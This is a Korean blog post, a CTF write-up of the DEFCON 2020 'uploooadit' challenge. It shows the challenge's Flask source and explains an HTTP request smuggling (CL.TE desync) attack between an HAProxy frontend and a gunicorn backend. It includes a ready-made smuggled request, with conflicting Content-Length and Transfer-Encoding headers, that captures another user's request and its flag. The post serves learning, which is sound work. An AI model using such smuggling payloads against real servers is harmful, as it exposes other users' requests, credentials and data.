DEFCON2020] uploooadit

woounnan·2020년 5월 19일
2

wargame

목록 보기
51/59
post-thumbnail

문제

https://uploooadit.oooverflow.io/

Files:
app.py
358c19d6478e1f66a25161933566d7111dd293f02d9916a89c56e09268c2b54c
store.py
dd5cee877ee73966c53f0577dc85be1705f2a13f12eb58a56a500f1da9dc49c0

파일 두 개와 URL이 주어졌다.
URL에 접속해보면

아무것도 출력되지 않는다.


풀이

주어진 파일의 소스를 확인한다.

app.py

import os
import re

from flask import Flask, abort, request

import store

GUID_RE = re.compile(
    r"\A[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}\Z"
)

app = Flask(__name__)
app.config["MAX_CONTENT_LENGTH"] = 512
filestore = store.S3Store()

# Uncomment the following line for simpler local testing of this service
# filestore = store.LocalStore()

@app.route("/files/", methods=["POST"])
def add_file():
    if request.headers.get("Content-Type") != "text/plain":
        abort(422)

    guid = request.headers.get("X-guid", "")
    if not GUID_RE.match(guid):
        abort(422)

    filestore.save(guid, request.data)
    return "", 201

@app.route("/files/<guid>", methods=["GET"])
def get_file(guid):
    if not GUID_RE.match(guid):
        abort(422)

    try:
        return filestore.read(guid), {"Content-Type": "text/plain"}
    except store.NotFound:
        abort(404)

@app.route("/", methods=["GET"])
def root():
    return "", 204

flask를 사용하여 백엔드 서버를 구현하고 있다.

POST 요청으로 Content-typeX-guid의 헤더값을 맞춰준 후에 /files에 접근하면 filestore을 사용하여 request의 데이터를 저장해준다.

또한 앞서 전달한 X-guid를 이용해 /files/<guid>에 접근할 경우, 해당 guid로 저장된 데이터를 다시 반환해준다.

정확한 내용을 살펴보기 위해 store.py를 확인한다.

store.py

"""
Provides two instances of a filestore.
There is not intended to be any vulnerability contained within this code. This file is provided to make it easier to test locally without needing access to an S3 bucket.
-OOO
"""
import os

import boto3
import botocore


class NotFound(Exception):
    pass


class LocalStore:
    def __init__(self):
        import tempfile
        self.upload_directory = tempfile.mkdtemp()

    def read(self, key):
        filepath = os.path.join(self.upload_directory, key)

        try:
            with open(filepath, "rb") as fp:
                return fp.read()
        except FileNotFoundError:
            raise NotFound

    def save(self, key, data):
        with open(os.path.join(self.upload_directory, key), "wb") as fp:
            fp.write(data)


class S3Store:
    """Credentials grant access only to resource s3://BUCKET/* and only for:
    * GetObject
    * PutObject
    """

    def __init__(self):
        self.bucket = os.environ["BUCKET"]
        self.s3 = boto3.client("s3")

    def read(self, key):
        try:
            response = self.s3.get_object(Bucket=self.bucket, Key=key)
        except botocore.exceptions.ClientError as exception:
            if exception.response["ResponseMetadata"]["HTTPStatusCode"] == 403:
                raise NotFound
            # No other exceptions encountered during testing
        return response["Body"].read()

    def save(self, key, data):
        self.s3.put_object(
            Body=data, Bucket=self.bucket, ContentType="text/plain", Key=key
        )

앞서 살펴본 내용과 동일하다. Bucket을 이용하여 filestore.save는 request 데이터를 저장하고, filestore.read는 저장된 데이터를 로드한다.

하지만, 소스에서 확인할 수 있는 취약점은 없었다.
프록시로 전달되는 패킷을 확인해봤다.

다음은 루트 페이지(/)에 접속했을 때의 응답이다.

Via를 통해 프록시를 이용한다는 것을 확인했고, haproxy가 프론트엔드 서버이며 gunicorn은 백엔드 서버라는 것도 알았다.

프론트와 백엔드가 구분된 서버로 동작하고 있다.

Desync Attack

Desync Attack에 대한 이해는 다음의 포스팅을 참고한다.

https://velog.io/@woounnan/WEB-Desync-Attack

Scenario

서버의 환경이 일치한다는 점과 다른 취약점이 보이지 않는다는 점으로 Desync Attack이 가능할 것이라는 추측을 할 수 있었다. 그리고 이 공격이 성공하기 위해서는 출제자가 다음과 같은 기능을 구현했을 것이라는 가정이 필요하다.

서버의 read, save 기능을 사용하여 유의미한 데이터(e.g. Flag)를 지속적으로 save하는 가상의 유저가 있을 것이다.

그리고 그 가상의 유저가 save하는 데이터를 Desync attack을 이용해 스니핑할 수 있다.

request를 다음과 같이 설정하여 전송한다.

POST /files/ HTTP/1.1
Host: uploooadit.oooverflow.io
Content-Length: 175
Content-type: text/plain
Connection: keep-alive
X-guid: 00000000-1212-1212-1212-000000000001
Transfer-Encoding:chunked

0

POST /files/ HTTP/1.1
Host: uploooadit.oooverflow.io
Connection: close
x-guid: 00000000-1212-1212-1212-000000000001
Content-Type: text/plain
Content-Length: 387

A

(X-guid는 아무 값으로 설정하면 된다.)

프론트 서버는 Content-length로 데이터를 확인한다. 175이므로 받은 request를 그대로 백엔드 서버에게 전달한다.

백엔드 서버는 Transfer-Encoding으로 데이터를 확인한다. 0이 있는 부분에서 request가 끝난 것으로 이해하고 뒤에 있는 POST /files/ HTTP/1.1 ...은 캐시에 남게 된다.

그리고 그 다음 request는 가정대로 임의의 victim이 전송할 것이고, victim의 request는 캐시에 남은 데이터와 합쳐져 다음처럼 구성될 것이다.

POST /files/ HTTP/1.1
Host: uploooadit.oooverflow.io
Connection: close
x-guid: 00000000-1212-1212-1212-000000000001
Content-Type: text/plain
Content-Length: 387

A
POST /files/ HTTP/1.1
Host: uploooadit.oooverflow.io
Connection: close
x-guid: 00000000-1212-1212-1212-victimvictim
Content-Type: text/plain
Content-Length: 30

TEXT //Meaningful data want to store

request의 헤더가 내가 조작한 값으로 변경되었다.
백엔드 서버는 여기서 Content-Length를 확인하고는 원래 victim의 request 부분을 Request body로 인식할 것이다.
그리고 내 guid인 00000000-1212-1212-1212-000000000001의 DB에 victim의 request를 데이터로서 save한다.

그 후, 내가 /files/00000000-1212-1212-1212-000000000001로 접근하게 되면 백엔드 서버는 내 GUID db에 저장되어 있던 victim의 request를 반환할 것이고 결국 victim의 데이터를 스니핑할 수 있게 되는 것이다.

Proof

조작된 request를 전송 후 응답을 확인한다.

정상적으로 백엔드 서버에서 처리되었다.

/files/guid에 접근하여 저장된 데이터를 read한다.

victim이 전송한 플래그 값을 확인할 수 있다.

0개의 댓글